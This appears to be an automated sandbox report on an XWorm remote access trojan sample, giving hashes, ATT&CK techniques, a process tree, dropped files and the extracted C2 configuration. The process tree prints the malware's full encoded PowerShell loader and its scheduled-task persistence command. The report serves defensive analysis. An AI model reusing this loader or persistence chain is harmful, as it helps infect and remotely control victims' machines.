xworm | b66c2df52700c26cfea28b19b6b6c59b0897917ba21aa842a52e7408ee6eeed7

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
30/09/2026, 15:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
sostener.vbs
Size 59KB
Sample260930-s1gfdsbf78
SHA256 b66c2df52700c26cfea28b19b6b6c59b0897917ba21aa842a52e7408ee6eeed7
MD5 4f2c73e7f6d340cb2111f98ff40d24d2
SHA1 bb868ae22461396aee6eff7b95889d50ce417a91
SHA512 69d0ee96ac98d767bd5a795359f6b557e8f75ae9159ef12f5e4f15dcfbf7fe4804a396076beee4ada669fc0984baf77c88eab45ae12ab4db49e2f2a5cce7428e
SSDEEP 768:D5Fg9NAKuDqgGA21IrnmkgwosR9bj389XNf/8gnOjfGbUAHAsIKhrHxb2bM/MDfn:DWeKIQ1T+r89X9JnwrAgOjh29gTk2S
TLSH
T1F153AF2BAF10A232C6731676DD9B3C9FFDA353131409A4297D4C89180FA0AEDD3F4699
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

medellin202156.duckdns.org:7777

Mutex

pLjLEBFnwxj0FXSY

Attributes

install_file
USB.exe

aes.plain

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/2284-50-0x0000000000400000-0x000000000040E000-memory.dmp	family_xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1408	powershell.exe

Enumerates connected drives 3 TTPs 1 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

ioc	Process
\??\F:\	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5976	WScript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1408 set thread context of 2284	1408	powershell.exe	102

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
496	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
4336	PING.EXE
496	cmd.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4336	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3540	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1408	powershell.exe
1408	powershell.exe
1408	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	2284	MSBuild.exe

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 5976 wrote to memory of 1408	5976	WScript.exe	89
PID 5976 wrote to memory of 496	5976	WScript.exe	91
PID 5976 wrote to memory of 3540	5976	WScript.exe	93
PID 496 wrote to memory of 4336	496	cmd.exe	95
PID 1408 wrote to memory of 2564	1408	powershell.exe	98
PID 2564 wrote to memory of 5748	2564	csc.exe	99
PID 1408 wrote to memory of 972	1408	powershell.exe	100
PID 972 wrote to memory of 3804	972	csc.exe	101
PID 1408 wrote to memory of 2284	1408	powershell.exe	102
PID 1408 wrote to memory of 2284	1408	powershell.exe	102
PID 1408 wrote to memory of 2284	1408	powershell.exe	102
PID 1408 wrote to memory of 2284	1408	powershell.exe	102
PID 1408 wrote to memory of 2284	1408	powershell.exe	102

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\sostener.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:5976
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand dAByAHkAIAB7AAoAJABiAGwAbwBiAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKABbAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABUAGUAeAB0ACgAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAdABsADkAMAA1ADYAMAAuAGMAYQBjAGgAZQAnACkAKQAKAFIAZQBtAG8AdgBlAC0ASQB0AGUAbQAgAC0ATABpAHQAZQByAGEAbABQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGMAdABsADkAMAA1ADYAMAAuAGMAYQBjAGgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAkAGsAPQBbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAUwBuAG0AQQB6AG8AZwByAFEAUwBXAHcATQBHADYAWgBoAGcANgBKAEsAbQBaAHgASwBuAHMARQBZAEsATAAyAFYATQBFAFIAdwBDAFIAMAB2AGsATQA9ACcAKQAKACQAdABoAD0AJwBDAEIARABFADIANQA0AEYARAAzAEQAMABGAEMANwBGAEYAOQA0ADYANQAwAEYANQBCADgARgBBAEUAOQAxADYANQBGADcANAA2AEYANABFAEMARQBEAEYAMQA0ADQANAAxAEYANgBDADUARgA5ADYAMAA2ADAAOABCAEIARgBEACcACgAkAHQAYQBwAGUAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAzADIACgBmAG8AcgAoACQAcQA9ADAAOwAkAHEAIAAtAGwAdAAgADMAMgA7ACQAcQArACsAKQB7ACQAdABhAHAAZQBbACQAcQBdAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJAB0AGgALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcQAqADIALAAyACkALAAxADYAKQB9AAoAJABpAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAxADYACgBbAEEAcgByAGEAeQBdADoAOgBDAG8AcAB5ACgAJABiAGwAbwBiACwAJABpAHYALAAxADYAKQAKACQAbgA9ACQAYgBsAG8AYgAuAEwAZQBuAGcAdABoAC0AMQA2AAoAJABiAG8AZAB5AD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJABuAAoAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAYgBsAG8AYgAsADEANgAsACQAYgBvAGQAeQAsADAALAAkAG4AKQAKAGYAbwByACgAJABpAD0AMAA7ACQAaQAgAC0AbAB0ACAAJABiAG8AZAB5AC4ATABlAG4AZwB0AGgAOwAkAGkAKwA9ADIAKQB7ACQAYgBvAGQAeQBbACQAaQBdAD0AWwBiAHkAdABlAF0AKAAoACgAJABiAG8AZAB5AFsAJABpAF0AIAAtAHMAaABsACAANAApACAALQBiAG8AcgAgACgAJABiAG8AZAB5AFsAJABpAF0AIAAtAHMAaAByACAANAApACkAIAAtAGIAYQBuAGQAIAAyADUANQApAH0ACgBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgACQAYgBvAGQAeQAuAEwAZQBuAGcAdABoADsAJABpACsAKwApAHsAJABiAG8AZAB5AFsAJABpAF0APQBbAGIAeQB0AGUAXQAoACgAJABiAG8AZAB5AFsAJABpAF0ALQAkAHQAYQBwAGUAWwAkAGkAJQAzADIAXQAtACgAKAAkAGkAKgAxADMAKQAtAGIAYQBuAGQAIAAyADUANQApACkAIAAtAGIAYQBuAGQAIAAyADUANQApAH0ACgAkAHAAcgBvAHYAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFIAaQBqAG4AZABhAGUAbABNAGEAbgBhAGcAZQBkAAoAJABwAHIAbwB2AC4AQgBsAG8AYwBrAFMAaQB6AGUAPQAxADIAOAAKACQAcAByAG8AdgAuAEsAZQB5AFMAaQB6AGUAPQAyADUANgAKACQAcAByAG8AdgAuAE0AbwBkAGUAPQBbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAJABwAHIAbwB2AC4AUABhAGQAZABpAG4AZwA9AFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAkAHAAcgBvAHYALgBLAGUAeQA9ACQAawAKACQAcAByAG8AdgAuAEkAVgA9ACQAaQB2AAoAJABwAGwAYQBpAG4APQAkAHAAcgBvAHYALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABiAG8AZAB5ACwAMAAsACQAYgBvAGQAeQAuAEwAZQBuAGcAdABoACkACgAkAGIAbwBkAHkAPQAkAG4AdQBsAGwACgAkAGIAbABvAGIAPQAkAG4AdQBsAGwACgAkAG8AZgBmAD0AMAAKAGkAZgAoACQAcABsAGEAaQBuAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADMAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAwAF0AIAAtAGUAcQAgADAAeABFAEYAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAxAF0AIAAtAGUAcQAgADAAeABCAEIAIAAtAGEAbgBkACAAJABwAGwAYQBpAG4AWwAyAF0AIAAtAGUAcQAgADAAeABCAEYAKQB7ACQAbwBmAGYAPQAzAH0ACgAkAHQAPQBbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAHAAbABhAGkAbgAsACQAbwBmAGYALAAkAHAAbABhAGkAbgAuAEwAZQBuAGcAdABoAC0AJABvAGYAZgApAAoAJABwAGwAYQBpAG4APQAkAG4AdQBsAGwACgAkAGwAZQBkAGcAZQByAD0AWwBJAE8ALgBGAGkAbABlAF0AOgA6AFIAZQBhAGQAQQBsAGwAVABlAHgAdAAoACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABsAGQAZwAzADYAMQAyADkALgBjAGEAYwBoAGUAJwApAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAbABkAGcAMwA2ADEAMgA5AC4AYwBhAGMAaABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKAGkAZgAoACQAbABlAGQAZwBlAHIALgBDAG8AbgB0AGEAaQBuAHMAKAAnAHwAfAB8ACcAKQApAHsACgAkAHAAYQByAHQAcwA9ACQAbABlAGQAZwBlAHIALgBTAHAAbABpAHQAKABbAHMAdAByAGkAbgBnAFsAXQBdAEAAKAAnAHwAfAB8ACcAKQAsAFsAUwB0AHIAaQBuAGcAUwBwAGwAaQB0AE8AcAB0AGkAbwBuAHMAXQA6ADoATgBvAG4AZQApAAoAJABsAGUAZABnAGUAcgA9ACQAbgB1AGwAbAAKACQAdAA9ACQAdAAuAFIAZQBwAGwAYQBjAGUAKAAnAF8AXwBEAEwATABfAF8AJwAsACQAcABhAHIAdABzAFsAMABdACkACgAkAHQAPQAkAHQALgBSAGUAcABsAGEAYwBlACgAJwBfAF8AUABMAEQAXwBfACcALAAkAHAAYQByAHQAcwBbADEAXQApAAoAJABwAGEAcgB0AHMAPQAkAG4AdQBsAGwACgB9AGUAbABzAGUAewAKACQAdAA9ACQAdAAuAFIAZQBwAGwAYQBjAGUAKAAnAF8AXwBQAEwARABfAF8AJwAsACQAbABlAGQAZwBlAHIAKQAKACQAbABlAGQAZwBlAHIAPQAkAG4AdQBsAGwAfQAKAGkAZQB4ACAAJAB0AAoAJAB0AD0AJABuAHUAbABsAAoAUgBlAG0AbwB2AGUALQBJAHQAZQBtACAALQBMAGkAdABlAHIAYQBsAFAAYQB0AGgAIAAnAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBcAEEAcABwAEQAYQB0AGEAXABMAG8AYwBhAGwAXABUAGUAbQBwAFwAaQBuAHYAXwA3ADAAMAAzADEAMAA3ADMAJwAgAC0ARgBvAHIAYwBlACAALQBSAGUAYwB1AHIAcwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAfQAgAGMAYQB0AGMAaAAgAHsAfQA=
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Enumerates connected drives
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vfkdclan\vfkdclan.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:2564
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES9253.tmp" "c:\Users\Admin\AppData\Local\Temp\vfkdclan\CSC8650F25721B4B99978CDE6FF340174E.TMP"
      4⤵
      PID:5748
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jcpyzhne\jcpyzhne.cmdline"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:972
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES938C.tmp" "c:\Users\Admin\AppData\Local\Temp\jcpyzhne\CSC8C55EDA330AF4E37B37B27DBC9623681.TMP"
      4⤵
      PID:3804
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 8 >nul & rmdir /s /q "C:\Users\Admin\AppData\Local\Temp\inv_70031073"
  2⤵
  - Executes a command shell one-liner
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:496
- - C:\Windows\system32\PING.EXE
    ping 127.0.0.1 -n 8
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:4336
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "InventoryCatalogHost" /xml "C:\Users\Admin\AppData\Local\Temp\task77503.xml" /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3540

C:\Windows\system32\wscript.exe
wscript.exe
1⤵
PID:4252

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

RES9253.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES9253.tmp
Size 1KB
SHA256 1a9ae1204259d4b7128b56f3dd9571f761c2f7c6cec703dc07d894a93b93a0d9
MD5 f212c35bf9a1d78ebc48e7ae907009ab
SHA1 c99a4fcd8a575d6090f1fad9e8b8bea6adc995fd
SHA512 f7eede236de20b4242ba3c7e7590ee742742f5420da453690869fea4743a0878034f6e5c73591355e09cb10c9eccfbf26ead695bc354e691d563845c40c76a76
TLSH
T16E21890593E8471FF073573269FA072FA275FDA4EFA2536A894042282C51644EEB1BB2
MD5 SHA1 SHA512 TLSH

Submit Download

RES938C.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES938C.tmp
Size 1KB
SHA256 1877cf45062b43ca238429cd75868638e7da89730d11f3fd38ac2873a3c1784d
MD5 83adea7a178ccda4a539db5031534109
SHA1 899f3f095bbedab01c079f7befada454f5326094
SHA512 44221e01e87b91aa1c84ab0f38294890a3acbf8ce31de6aaca30d4e276a927d20f9aeb4128b6180c7eca21e1898cb35b4af30d6a062958a71d49ad43f493eea4
TLSH
T131216605A3E8870FF4774731A9F6176B9638FC65EFA2936A8980422C2C11504EEB1A72
MD5 SHA1 SHA512 TLSH

Submit Download

ctl90560.cache

Path C:\Users\Admin\AppData\Local\Temp\ctl90560.cache
Size 18KB
SHA256 c784cf93b0c302372784d00959bd271ffe6877491f3ae2b2f9405e747bfdbf7c
MD5 57ce8a4a2fa046258c1397f58b7f40af
SHA1 2623896c2be7e001c7e5f9f74e811c99033f67e6
SHA512 a924dc967607712c1622754d502f1576d5ecacbed1b2cb51eff7712862f8435ae0a3bae071747a3b543977287e5fbc29a71c8a478addd42799073c34fbad6e21
SSDEEP 384:o543yVLzleFbq3Ae8gCOubSn6IzVt3GSUT2aLBKvRnp:oC3yV9B3Ae8gCO7JGSUmp
TLSH
T12F82D00E5C1048975539DFB606D49C758A16CCE0EE48729B2FCBEF136393A2FC985368
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

jcpyzhne.dll

Path C:\Users\Admin\AppData\Local\Temp\jcpyzhne\jcpyzhne.dll
Size 4KB
SHA256 8bdbda7febe260228ca7778443cf99fb1496c52558aad37cfd2693ac80c2e8c5
MD5 9c7ebc998d075665e92ff42b533f4862
SHA1 adfd41d08900d5e51ec05788b49e98ab6896c24f
SHA512 f0f4230f01d1e4408ef8eab3d87591815ce4c1cb21d3d1129660324fcdf631a7b207deb676f5aea217e1465ec0ded679aa87ad384d1c2695a51fe19532b3bce9
TLSH
T1F281630A77ED510AE07743719AF307636A34E9A1EA2773AF6CE0032D6C643609D21BB1
MD5 SHA1 SHA512 TLSH

Submit Download

ldg36129.cache

Path C:\Users\Admin\AppData\Local\Temp\ldg36129.cache
Size 19KB
SHA256 be0f1abe0fb4146480d6743d2d459d24b547d5d2ca384306aee48d600dc3112d
MD5 91fcd077bcb777b05188396210e7c073
SHA1 1c0f1b2e8b7139f2c0d645db278e0b95d8e57ec1
SHA512 9a6b7f322b53f7cd01697d17a514dac0bb1d6fa0dfdda95990e901132b434059a36f17f3b01aac354f08dd723ee24aace1e90f0fd6ac15806a7dd7e8d9fa6796
SSDEEP 384:4MstadK1/Aajxbc8alDw/Vs33hUo/lwBuAx7/qUTTklzP0ikAgg8:4MsIK1/vxP2Dw/sb/cuAMt40gp
TLSH
T11792D0FCFB5AF72193EF08BA0549BA606D85726594CEE315C990380E069642F92FC64B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

task77503.xml

Path C:\Users\Admin\AppData\Local\Temp\task77503.xml
Size 1KB
SHA256 4a26b443a205bfe33400828c6ece274d4642834b2ba84eeeb5f8dc4a81999ec3
MD5 f625c6700c68b0bac7c461af61d9b90c
SHA1 7e7605b8b13dba747d905f56e89924df84cc3e62
SHA512 b0cde64ac3b6cc84cfe7212c94dea55bb1902f34695979ac21a1af6385a2e9f4d4e38eeaec2a193f9aa1cd1f8ab3eefaf2b0f5ee2b52542c87179bc67ed6201a
TLSH
T1B141484367FE1109F1F36B9CAAB658114EA7BD695D34947D00BC0A0D0BB3962C960B37
MD5 SHA1 SHA512 TLSH

Submit Download

vfkdclan.dll

Path C:\Users\Admin\AppData\Local\Temp\vfkdclan\vfkdclan.dll
Size 5KB
SHA256 f70adc39770c40d674c27e98598741aac6b2a699dfa1303fb19da159a76cb1b0
MD5 afa9fb05250ed093d6b28151170366e4
SHA1 f574e729c7cecbd8cac4bb31e974eae46efa34cc
SHA512 210fbef5f5732071869a25dfedb1964c79e9e70c5a6f9e19b2d1d0ba4569e39bd8d0dab8f978002d352bdde130cdd35a5e1b09871c0b505c79bb2f68d0e6f65a
SSDEEP 48:6oWqBYjSJHNDZMSaJD5a+5iFNaVjAbIIfib1gbmgDngdJ3pjBlYo+1ulmUda3fUL:Y4YjSJHpZMnJNtiKIrkSs8aKf
TLSH
T1A1B18316D3DC0592F5AB033CBCB74B03E774E8844B6BCB6F09C441292C77B641925B61
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CSC8C55EDA330AF4E37B37B27DBC9623681.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\jcpyzhne\CSC8C55EDA330AF4E37B37B27DBC9623681.TMP
Size 652B
SHA256 a62d9d714267c3aea8dbea983b49ca2e0117d6d6e55f18d8d26bd3d92c7b25c4
MD5 a58125d83b124a1ca8d6ca6740c0edfb
SHA1 a5a9c5f3e87c59549e0b9667a9a287b1c0d7e29f
SHA512 077ea536756639addcf38e78a7e9b73f2cc3fa79c61ef2272ba38793a31f5d9cef18c16bb964aeaa2668cb985cae6979088de1d3cb8bf2a7e420e2c8e61b984b
TLSH
T195F05E0973F8520EF4F74B30BDF6436395A8BC65DE3293ED1480031D28649209972FB2
MD5 SHA1 SHA512 TLSH

Submit Download

jcpyzhne.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\jcpyzhne\jcpyzhne.0.cs
Size 2KB
SHA256 291785496efa7cf758790d1099c06384b3b4a6abae37d9f172f93ee7dce805ef
MD5 7b641fcc51c78df821f7ac51ca7c7dea
SHA1 d6a174f52d0ebd9afb24aafaffe6d41ca4292629
SHA512 fdf45d3b8216673851d652dc221a7653a9c662beb9e52cafc86ed48e2044f63650b8ad617bc0b3c9ed9baef980e657f0f3b5b3bde14f745caebf7be91780b4ce
TLSH
T1CB41AC41D9E3DA791A8784398F7DD5023798E03326E8FC48BD1DA6640F225511BF4A9E
MD5 SHA1 SHA512 TLSH

Submit Download

jcpyzhne.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\jcpyzhne\jcpyzhne.cmdline
Size 369B
SHA256 ee1bb38ec374e808d726585718afcfecdd1a2a768b9e5985762880f7acf39f91
MD5 05d56793e03816cea5a6461ac907e817
SHA1 4e0f96be929ee3ecc09eab3d97df2da2f8bc47c3
SHA512 7104f481f8f32ea494475d2435f9541c3b95918f640c480abd22a912df12d1f9906f065b4997504dca39a81bb398026665ec838fe057ed4dbee41fb61294dff5
TLSH
T1D1E0202B5256C67E56DD120B296DC5ACC272078729C17FB851A0449DD0270066BD17DA
MD5 SHA1 SHA512 TLSH

Submit Download

CSC8650F25721B4B99978CDE6FF340174E.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\vfkdclan\CSC8650F25721B4B99978CDE6FF340174E.TMP
Size 652B
SHA256 485431ff02e331c27ea487022a05dae4e9ae8aa664aa93ec39ed07d2eb29b6f1
MD5 cc74195ebda5758fb94d1fada564f2c6
SHA1 41639acf98222eb0ddbd02b0cea2a5ffea5b9ae4
SHA512 1894ccc621bc3e11c082bbb2b5e2eb75c91201602783f267f19461787007be99f677200267c6fb8ac6a303e6c1ee25fe8986b64bc4ecb9ff04e5d1d86708f2b7
TLSH
T1ECF0820963F8020EF4F35B30BDF64363A5A8BC64DE7293ED5940032D2C64A109A72FB2
MD5 SHA1 SHA512 TLSH

Submit Download

vfkdclan.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\vfkdclan\vfkdclan.0.cs
Size 3KB
SHA256 d7603f5d018b5911bec49d7b9f4af4432a1bfe65569477fd3e2380cc439fe0f9
MD5 2a206de1a016d16431401f75cef137da
SHA1 b39ba632fb7d9b4788b9bd1829782977f3be84b9
SHA512 b39b6a8259eb47678b1e865a96260c88ffbf2cdc04e550c03a1a5599c73d5535050c1eb9155c96e364e009712cc46c7af435250467b5fc6e7be4eca3accc4c2f
TLSH
T15F613328136687A024D71025FA87A08BF613407329FF9C3079FD47261F8B249E4B2B6E
MD5 SHA1 SHA512 TLSH

Submit Download

vfkdclan.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\vfkdclan\vfkdclan.cmdline
Size 369B
SHA256 4e8bf466fd12245e74847ddda365d0b043d4ce53afb8cde00d1f1eb5a539bb63
MD5 ff3f668b2d2c2cee644e5304baa77d29
SHA1 f4e58cfc7dba167b569eaa690763b55f8b50ffcb
SHA512 f61f0004d7a60d54d285c1be4fa7ef1dbe2a09068b2f412da3e3863fb59ac0e77dd6ae8c7421272ca288993632577344b83d52e1495e6749875b817c347d7bb4
TLSH
T1A1E0C02A42C6C37E13DD1007276DC4ECC3B60B432A403F855088440DD497C0127E2742
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1408-21-0x0000000007F10000-0x00000000084CA000-memory.dmp

Download

memory/1408-36-0x0000000007B70000-0x0000000007B78000-memory.dmp

Download

memory/1408-20-0x0000000006C80000-0x0000000006CA2000-memory.dmp

Download

memory/1408-18-0x00000000078B0000-0x0000000007946000-memory.dmp

Download

memory/1408-22-0x0000000008B50000-0x00000000091CC000-memory.dmp

Download

memory/1408-16-0x0000000006830000-0x000000000687C000-memory.dmp

Download

memory/1408-15-0x00000000066C0000-0x00000000066DE000-memory.dmp

Download

memory/1408-14-0x00000000062F0000-0x000000000664B000-memory.dmp

Download

memory/1408-10-0x00000000060D0000-0x0000000006136000-memory.dmp

Download

memory/1408-11-0x0000000006140000-0x00000000061A6000-memory.dmp

Download

memory/1408-9-0x0000000005F30000-0x0000000005F52000-memory.dmp

Download

memory/1408-19-0x0000000006C30000-0x0000000006C4A000-memory.dmp

Download

memory/1408-7-0x00000000749D0000-0x000000007518C000-memory.dmp

Download

memory/1408-8-0x00000000058E0000-0x0000000005F2A000-memory.dmp

Download

memory/1408-6-0x00000000749D0000-0x000000007518C000-memory.dmp

Download

memory/1408-5-0x00000000031D0000-0x0000000003206000-memory.dmp

Download

memory/1408-3-0x00000000749E2000-0x00000000749E3000-memory.dmp

Download

memory/1408-49-0x0000000007B80000-0x0000000007B88000-memory.dmp

Download

memory/1408-53-0x00000000749D0000-0x000000007518C000-memory.dmp

Download

memory/2284-51-0x0000000005020000-0x00000000050BC000-memory.dmp

Download

memory/2284-50-0x0000000000400000-0x000000000040E000-memory.dmp

Download

memory/2284-54-0x0000000006B00000-0x0000000006B92000-memory.dmp

Download